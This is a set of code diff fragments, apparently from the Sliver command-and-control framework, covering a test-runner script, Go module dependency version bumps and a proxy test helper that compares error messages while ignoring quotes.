cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
export GOPROXY=off
|
||||
# Generate tests are memory intensive (garble/c-shared cross-builds). Keep
|
||||
# parallelism conservative by default to avoid OOM kills on smaller systems.
|
||||
GENERATE_GOMAXPROCS="${SLIVER_GENERATE_GOMAXPROCS:-2}"
|
||||
GENERATE_GO_P="${SLIVER_GENERATE_GO_P:-1}"
|
||||
GENERATE_TEST_PARALLEL="${SLIVER_GENERATE_TEST_PARALLEL:-1}"
|
||||
run_test_cmd "./server/generate" \
|
||||
env GOMAXPROCS="$GENERATE_GOMAXPROCS" \
|
||||
go test -timeout 6h -p "$GENERATE_GO_P" -parallel "$GENERATE_TEST_PARALLEL" -tags="server,$TAGS" ./server/generate || exit 1
|
||||
else
|
||||
echo "Skipping ./server/generate tests (--skip-generate)"
|
||||
echo
|
||||
echo "Skipping ./server/generate tests (--skip-generate)"
|
||||
fi
|
||||
@@ -9,6 +9,7 @@ replace github.com/reeflective/readline => github.com/moloch--/readline v0.0.0-2
|
||||
replace github.com/reeflective/console => github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701
|
||||
|
||||
require (
|
||||
charm.land/lipgloss/v2 v2.0.0
|
||||
filippo.io/age v1.3.1
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
|
||||
@@ -17,13 +18,14 @@ require (
|
||||
github.com/SherClockHolmes/webpush-go v1.4.0
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/alecthomas/chroma/v2 v2.23.1
|
||||
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7
|
||||
github.com/charmbracelet/bubbletea v1.3.10
|
||||
github.com/charmbracelet/huh v0.8.0
|
||||
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
|
||||
github.com/charmbracelet/lipgloss v1.1.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.7
|
||||
github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d
|
||||
github.com/chromedp/chromedp v0.14.1
|
||||
github.com/fatih/color v1.18.0
|
||||
github.com/glebarez/sqlite v1.11.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/golang/protobuf v1.5.4
|
||||
@@ -47,9 +49,9 @@ require (
|
||||
github.com/reeflective/readline v1.1.4
|
||||
github.com/rsteube/carapace v0.50.2
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/sliverarmory/beignet v0.0.2
|
||||
github.com/sliverarmory/malasada v0.0.2
|
||||
github.com/sliverarmory/wasm-donut v0.0.5
|
||||
github.com/sliverarmory/beignet v0.0.3
|
||||
github.com/sliverarmory/malasada v0.0.3
|
||||
github.com/sliverarmory/wasm-donut v0.0.3
|
||||
github.com/spf13/cobra v1.10.2
|
||||
github.com/spf13/pflag v1.0.10
|
||||
github.com/stretchr/testify v1.11.1
|
||||
@@ -122,6 +124,10 @@ require (
|
||||
github.com/caarlos0/go-reddit/v3 v3.0.1 // indirect
|
||||
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 // indirect
|
||||
github.com/charmbracelet/x/termios v0.1.1 // indirect
|
||||
github.com/charmbracelet/x/windows v0.2.2 // indirect
|
||||
github.com/clipperhouse/displaywidth v0.11.0 // indirect
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 // indirect
|
||||
github.com/creachadair/msync v0.7.1 // indirect
|
||||
github.com/cschomburg/go-pushbullet v0.0.0-20171206132031-67759df45fbb // indirect
|
||||
@@ -131,6 +137,7 @@ require (
|
||||
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 // indirect
|
||||
github.com/envoyproxy/go-control-plane/envoy v1.36.0 // indirect
|
||||
github.com/envoyproxy/protoc-gen-validate v1.3.0 // indirect
|
||||
github.com/fatih/color v1.18.0 // indirect
|
||||
github.com/fatih/structs v1.1.0 // indirect
|
||||
github.com/felixge/httpsnoop v1.0.4 // indirect
|
||||
github.com/go-jose/go-jose/v4 v4.1.3 // indirect
|
||||
@@ -204,6 +211,8 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
charm.land/bubbles/v2 v2.0.0
|
||||
charm.land/bubbletea/v2 v2.0.0
|
||||
cloud.google.com/go/compute/metadata v0.9.0 // indirect
|
||||
filippo.io/edwards25519 v1.1.0 // indirect
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
@@ -222,15 +231,13 @@ require (
|
||||
github.com/carapace-sh/carapace v1.11.0
|
||||
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
|
||||
github.com/catppuccin/go v0.3.0 // indirect
|
||||
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
|
||||
github.com/charmbracelet/bubbletea v1.3.10
|
||||
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
|
||||
github.com/charmbracelet/x/ansi v0.10.1
|
||||
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
|
||||
github.com/charmbracelet/colorprofile v0.4.2 // indirect
|
||||
github.com/charmbracelet/x/ansi v0.11.6
|
||||
github.com/charmbracelet/x/cellbuf v0.0.15 // indirect
|
||||
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
|
||||
github.com/charmbracelet/x/term v0.2.1 // indirect
|
||||
github.com/charmbracelet/x/term v0.2.2 // indirect
|
||||
github.com/chromedp/sysutil v1.1.0 // indirect
|
||||
github.com/clipperhouse/uax29/v2 v2.2.0 // indirect
|
||||
github.com/clipperhouse/uax29/v2 v2.7.0 // indirect
|
||||
github.com/coder/websocket v1.8.14 // indirect
|
||||
github.com/coreos/go-iptables v0.8.0 // indirect
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
|
||||
@@ -266,13 +273,13 @@ require (
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/jsimonetti/rtnetlink v1.4.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
|
||||
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mark3labs/mcp-go v0.43.2
|
||||
github.com/mattn/go-colorable v0.1.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-localereader v0.0.1 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.19 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.20 // indirect
|
||||
github.com/mdlayher/netlink v1.8.0 // indirect
|
||||
github.com/mdlayher/socket v0.5.1 // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
|
||||
@@ -4,6 +4,12 @@ c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd h1:ZLsPO6WdZ5zatV4UfVpr7oAw
|
||||
c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd/go.mod h1:SrHC2C7r5GkDk8R+NFVzYy/sdj0Ypg9htaPXQq5Cqeo=
|
||||
cel.dev/expr v0.25.1 h1:1KrZg61W6TWSxuNZ37Xy49ps13NUovb66QLprthtwi4=
|
||||
cel.dev/expr v0.25.1/go.mod h1:hrXvqGP6G6gyx8UAHSHJ5RGk//1Oj5nXQ2NI02Nrsg4=
|
||||
charm.land/bubbles/v2 v2.0.0 h1:tE3eK/pHjmtrDiRdoC9uGNLgpopOd8fjhEe31B/ai5s=
|
||||
charm.land/bubbles/v2 v2.0.0/go.mod h1:rCHoleP2XhU8um45NTuOWBPNVHxnkXKTiZqcclL/qOI=
|
||||
charm.land/bubbletea/v2 v2.0.0 h1:p0d6CtWyJXJ9GfzMpUUqbP/XUUhhlk06+vCKWmox1wQ=
|
||||
charm.land/bubbletea/v2 v2.0.0/go.mod h1:3LRff2U4WIYXy7MTxfbAQ+AdfM3D8Xuvz2wbsOD9OHQ=
|
||||
charm.land/lipgloss/v2 v2.0.0 h1:sd8N/B3x892oiOjFfBQdXBQp3cAkvjGaU5TvVZC3ivo=
|
||||
charm.land/lipgloss/v2 v2.0.0/go.mod h1:w6SnmsBFBmEFBodiEDurGS/sdUY/u1+v72DqUzc6J14=
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
|
||||
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
|
||||
@@ -144,8 +150,8 @@ github.com/aws/smithy-go v1.24.0 h1:LpilSUItNPFr1eY85RYgTIg5eIEPtvFbskaFcmmIUnk=
|
||||
github.com/aws/smithy-go v1.24.0/go.mod h1:LEj2LM3rBRQJxPZTB4KuzZkaZYnZPnvgIhb4pu07mx0=
|
||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
|
||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
|
||||
github.com/aymanbagabas/go-udiff v0.3.1 h1:LV+qyBQ2pqe0u42ZsUEtPiCaUoqgA9gYRDs3vj1nolY=
|
||||
github.com/aymanbagabas/go-udiff v0.3.1/go.mod h1:G0fsKmG+P6ylD0r6N/KgQD/nWzgfnl8ZBcNLgcbrw8E=
|
||||
github.com/aymanbagabas/go-udiff v0.4.0 h1:TKnLPh7IbnizJIBKFWa9mKayRUBQ9Kh1BPCk6w2PnYM=
|
||||
github.com/aymanbagabas/go-udiff v0.4.0/go.mod h1:0L9PGwj20lrtmEMeyw4WKJ/TMyDtvAoK9bf2u/mNo3w=
|
||||
github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk=
|
||||
github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg=
|
||||
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
|
||||
@@ -176,30 +182,36 @@ github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 h1:JFgG/x
|
||||
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7/go.mod h1:ISC1gtLcVilLOf23wvTfoQuYbW2q0JevFxPfUzZ9Ybw=
|
||||
github.com/charmbracelet/bubbletea v1.3.10 h1:otUDHWMMzQSB0Pkc87rm691KZ3SWa4KUlvF9nRvCICw=
|
||||
github.com/charmbracelet/bubbletea v1.3.10/go.mod h1:ORQfo0fk8U+po9VaNvnV95UPWA1BitP1E0N6xJPlHr4=
|
||||
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc h1:4pZI35227imm7yK2bGPcfpFEmuY1gc2YSTShr4iJBfs=
|
||||
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc/go.mod h1:X4/0JoqgTIPSFcRA/P6INZzIuyqdFY5rm8tb41s9okk=
|
||||
github.com/charmbracelet/colorprofile v0.4.2 h1:BdSNuMjRbotnxHSfxy+PCSa4xAmz7szw70ktAtWRYrY=
|
||||
github.com/charmbracelet/colorprofile v0.4.2/go.mod h1:0rTi81QpwDElInthtrQ6Ni7cG0sDtwAd4C4le060fT8=
|
||||
github.com/charmbracelet/huh v0.8.0 h1:Xz/Pm2h64cXQZn/Jvele4J3r7DDiqFCNIVteYukxDvY=
|
||||
github.com/charmbracelet/huh v0.8.0/go.mod h1:5YVc+SlZ1IhQALxRPpkGwwEKftN/+OlJlnJYlDRFqN4=
|
||||
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3 h1:KUeWGoKnmyrLaDIa0smE6pK5eFMZWNIxPGweQR12iLg=
|
||||
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3/go.mod h1:OMqKat/mm9a/qOnpuNOPyYO9bPzRNnmzLnRZT5KYltg=
|
||||
github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY=
|
||||
github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30=
|
||||
github.com/charmbracelet/x/ansi v0.10.1 h1:rL3Koar5XvX0pHGfovN03f5cxLbCF2YvLeyz7D2jVDQ=
|
||||
github.com/charmbracelet/x/ansi v0.10.1/go.mod h1:3RQDQ6lDnROptfpWuUVIUG64bD2g2BgntdxH0Ya5TeE=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98=
|
||||
github.com/charmbracelet/x/ansi v0.11.6 h1:GhV21SiDz/45W9AnV2R61xZMRri5NlLnl6CVF7ihZW8=
|
||||
github.com/charmbracelet/x/ansi v0.11.6/go.mod h1:2JNYLgQUsyqaiLovhU2Rv/pb8r6ydXKS3NIttu3VGZQ=
|
||||
github.com/charmbracelet/x/cellbuf v0.0.13 h1:/KBBKHuVRbq1lYx5BzEHBAFBP8VcQzJejZ/IA3iR28k=
|
||||
github.com/charmbracelet/x/cellbuf v0.0.13/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs=
|
||||
github.com/charmbracelet/x/cellbuf v0.0.15 h1:ur3pZy0o6z/R7EylET877CBxaiE1Sp1GMxoFPAIztPI=
|
||||
github.com/charmbracelet/x/cellbuf v0.0.15/go.mod h1:J1YVbR7MUuEGIFPCaaZ96KDl5NoS0DAWkskup+mOY+Q=
|
||||
github.com/charmbracelet/x/conpty v0.1.0 h1:4zc8KaIcbiL4mghEON8D72agYtSeIgq8FSThSPQIb+U=
|
||||
github.com/charmbracelet/x/conpty v0.1.0/go.mod h1:rMFsDJoDwVmiYM10aD4bH2XiRgwI7NYJtQgl5yskjEQ=
|
||||
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA=
|
||||
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86/go.mod h1:2P0UgXMEa6TsToMSuFqKFQR+fZTO9CNGUNokkPatT/0=
|
||||
github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91 h1:payRxjMjKgx2PaCWLZ4p3ro9y97+TVLZNaRZgJwSVDQ=
|
||||
github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91/go.mod h1:wDlXFlCrmJ8J+swcL/MnGUuYnqgQdW9rhSD61oNMb6U=
|
||||
github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f h1:pk6gmGpCE7F3FcjaOEKYriCvpmIN4+6OS/RD0vm4uIA=
|
||||
github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f/go.mod h1:IfZAMTHB6XkZSeXUqriemErjAWCCzT0LwjKFYCZyw0I=
|
||||
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 h1:qko3AQ4gK1MTS/de7F5hPGx6/k1u0w4TeYmBFwzYVP4=
|
||||
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0/go.mod h1:pBhA0ybfXv6hDjQUZ7hk1lVxBiUbupdw5R31yPUViVQ=
|
||||
github.com/charmbracelet/x/term v0.2.1 h1:AQeHeLZ1OqSXhrAWpYUtZyX1T3zVxfpZuEQMIQaGIAQ=
|
||||
github.com/charmbracelet/x/term v0.2.1/go.mod h1:oQ4enTYFV7QN4m0i9mzHrViD7TQKvNEEkHUMCmsxdUg=
|
||||
github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk=
|
||||
github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI=
|
||||
github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY=
|
||||
github.com/charmbracelet/x/termios v0.1.1/go.mod h1:rB7fnv1TgOPOyyKRJ9o+AsTU/vK5WHJ2ivHeut/Pcwo=
|
||||
github.com/charmbracelet/x/windows v0.2.2 h1:IofanmuvaxnKHuV04sC0eBy/smG6kIKrWG2/jYn2GuM=
|
||||
github.com/charmbracelet/x/windows v0.2.2/go.mod h1:/8XtdKZzedat74NQFn0NGlGL4soHB0YQZrETF96h75k=
|
||||
github.com/charmbracelet/x/xpty v0.1.2 h1:Pqmu4TEJ8KeA9uSkISKMU3f+C1F6OGBn8ABuGlqCbtI=
|
||||
github.com/charmbracelet/x/xpty v0.1.2/go.mod h1:XK2Z0id5rtLWcpeNiMYBccNNBrP2IJnzHI0Lq13Xzq4=
|
||||
github.com/cheggaaa/pb/v3 v3.1.7 h1:2FsIW307kt7A/rz/ZI2lvPO+v3wKazzE4K/0LtTWsOI=
|
||||
@@ -216,8 +228,10 @@ github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMn
|
||||
github.com/cilium/ebpf v0.15.0 h1:7NxJhNiBT3NG8pZJ3c+yfrVdHY8ScgKD27sScgjLMMk=
|
||||
github.com/cilium/ebpf v0.15.0/go.mod h1:DHp1WyrLeiBh19Cf/tfiSMhqheEiK8fXFZ4No0P1Hso=
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/clipperhouse/uax29/v2 v2.2.0 h1:ChwIKnQN3kcZteTXMgb1wztSgaU+ZemkgWdohwgs8tY=
|
||||
github.com/clipperhouse/uax29/v2 v2.2.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM=
|
||||
github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSEFgwIwO+UVM8=
|
||||
github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0=
|
||||
github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk=
|
||||
github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM=
|
||||
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 h1:6xNmx7iTtyBRev0+D/Tv1FZd4SCg8axKApyNyRsAt/w=
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5/go.mod h1:KdCmV+x/BuvyMxRnYBlmVaq4OLiKW6iRQfvC62cvdkI=
|
||||
@@ -506,8 +520,8 @@ github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193
|
||||
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
|
||||
github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ=
|
||||
github.com/line/line-bot-sdk-go v7.8.0+incompatible/go.mod h1:0RjLjJEAU/3GIcHkC3av6O4jInAbt25nnZVmOFUgDBg=
|
||||
github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
|
||||
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag=
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8=
|
||||
@@ -530,8 +544,8 @@ github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D
|
||||
github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4=
|
||||
github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.19 h1:v++JhqYnZuu5jSKrk9RbgF5v4CGUjqRfBm05byFGLdw=
|
||||
github.com/mattn/go-runewidth v0.0.19/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/mattn/go-runewidth v0.0.20 h1:WcT52H91ZUAwy8+HUkdM3THM6gXqXuLJi9O3rjcQQaQ=
|
||||
github.com/mattn/go-runewidth v0.0.20/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs=
|
||||
github.com/mattn/go-sqlite3 v1.14.32/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
|
||||
@@ -663,14 +677,12 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
|
||||
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
|
||||
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
|
||||
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
|
||||
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
||||
github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
|
||||
github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
|
||||
github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKCJQ4X0=
|
||||
github.com/sliverarmory/beignet v0.0.3/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
||||
github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U=
|
||||
github.com/sliverarmory/malasada v0.0.3/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sliverarmory/wasm-donut v0.0.5 h1:QWnkVy1mTgkmVg0bvJ8X9xqGGX2YI0pbpqt5uA3qw84=
|
||||
github.com/sliverarmory/wasm-donut v0.0.5/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
||||
github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4=
|
||||
github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
|
||||
@@ -926,8 +938,6 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
|
||||
golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
|
||||
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
|
||||
|
||||
@@ -278,9 +278,7 @@ func TestProvider_ParseEnvProxy(t *testing.T) {
|
||||
if tt.expectError == nil {
|
||||
a.Nil(err)
|
||||
} else {
|
||||
if a.NotNil(err) {
|
||||
a.Equal(tt.expectError.Error(), err.Error())
|
||||
}
|
||||
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -325,9 +323,7 @@ func TestProvider_ConfigProviderParseEnvURL(t *testing.T) {
|
||||
if tt.expectError == nil {
|
||||
a.Nil(err)
|
||||
} else {
|
||||
if a.NotNil(err) {
|
||||
a.Equal(tt.expectError.Error(), err.Error())
|
||||
}
|
||||
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
@@ -116,9 +116,7 @@ func TestNewProxy(t *testing.T) {
|
||||
if tt.expectErr == nil {
|
||||
a.Nil(err)
|
||||
} else {
|
||||
if a.NotNil(err) {
|
||||
a.Equal(tt.expectErr.Error(), err.Error())
|
||||
}
|
||||
assertErrEqualIgnoreQuotes(t, tt.expectErr, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
func assertErrEqualIgnoreQuotes(t *testing.T, expected error, actual error) {
|
||||
t.Helper()
|
||||
if expected == nil {
|
||||
assert.NoError(t, actual)
|
||||
return
|
||||
}
|
||||
|
||||
if assert.Error(t, actual) {
|
||||
expectedMsg := strings.ReplaceAll(expected.Error(), "\"", "")
|
||||
actualMsg := strings.ReplaceAll(actual.Error(), "\"", "")
|
||||
assert.Equal(t, expectedMsg, actualMsg)
|
||||
}
|
||||
}
|
||||
@@ -67,9 +67,7 @@ func TestParseURL(t *testing.T) {
|
||||
if tt.expectError == nil {
|
||||
a.Nil(err)
|
||||
} else {
|
||||
if a.NotNil(err) {
|
||||
a.Equal(tt.expectError.Error(), err.Error())
|
||||
}
|
||||
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
